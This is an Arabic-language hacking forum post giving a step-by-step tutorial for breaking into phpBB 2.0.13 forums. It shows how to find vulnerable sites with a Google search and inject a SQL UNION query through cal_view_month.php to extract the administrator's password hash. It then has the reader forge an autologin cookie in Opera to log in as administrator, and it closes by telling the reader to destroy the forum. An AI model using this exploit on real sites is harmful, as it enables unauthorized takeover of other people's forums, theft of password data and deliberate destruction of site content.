منتديات القرصان

السلام عليكم ورحمة الله وبركاته ‏
كيف حالكم شباب أعضاء قراصنة فلسطين ان شاء الله بخير ‏...‏ ان شاء اليوم ابقدم هذي طريقة لاختراق منتدى PhpBB 2.0.13 الاصدار الأخير ... وطبعا هذا النوع الذي موجود في المنتديات المجانية ... وطبعا انا حطيت الموضوع علشان كثير من الأعضاء شفتهم يسألون عن طريقة اختراقها(وترى انا شخصيا عندي منتدى مجاني^_^ فلا تزعلون حبيابي *_^
الأدوات المستخدمة:
متصفح الأوبرا ( ملاحظة: أنا استخدمت المتصفح هذا بسبب وجود أداة سهلة لتعديل الكوكيز ولا تقدر تستخدم أي متصفح ثاني لتعديل الكوكيز )طريقة العمل:
1- ادخل على google.com واكتب Powered By Phpbb 2.0.13 2- بعد الضغط على Enter أو Google Search ستظهر لك المواقع 3- اختر أحد المواقع وطبق عليه الثغرة
-4 سجل بالمنتدى وقم بتسجيل الدخول 5- قم بإضافة الكود التالي
cal_view_month.php?month=04 &year=2005 &category=-1 %20 UNION%20 SELECT%20 user_password%20 FROM%20 phpbb_users%20 where%20 user_id=2
7-بيطلعلك الباسوورد حطه بالكود التالي :-
a%3 A2 %3 A%7 Bs%3 A11 %3 A%22 autologinid%22 %3 Bs%3 A32 %3 A% 22 XXX%22 %3 Bs%3 B6 %3 A%22 userid%22 %3 Bi%3 A2 %3 B%7D
?ملاحظة: الكود بدون الفراغ اللي بالنص يعني امسح الفراغ اول وبعدين حط فيه الباسورد المشفر مع ملاحظة استبدال XXX بالباسورد المشفر
8- اختر Tools >
Preferences 9-
اختر من قائمة Privacy > Manage cookies
10- اضغط على الموقع وسيظهر لك سطرين إمسح السفلي بالضغط عليه مره ثم الضغط على مفتاح Delete

11‎ ‎- قم بالضغط دبل كلك بالماوس على الآخر الذي لم نمسحه ثم قم بمسح قيمة الكوكي وضع كود الكوكي الذي عملناه في الخطوة 7
12- اضغط OK ثم close 13- اغلق متصفح الأوبرا ثم افتحه مرة أخرى وأكرر افتح نفس المتصفح لاتروح تفتح الاكسبلورر واكتب عنوان الموقع

مبروك عليك دخلت باسم المدير
... للدخول للوحة التحكم اذهب لأسفل المنتدى واضغط Go to Administration Panel
_________________
مبروك عليك لوحة التحكم وآخر شي دمر المنتدى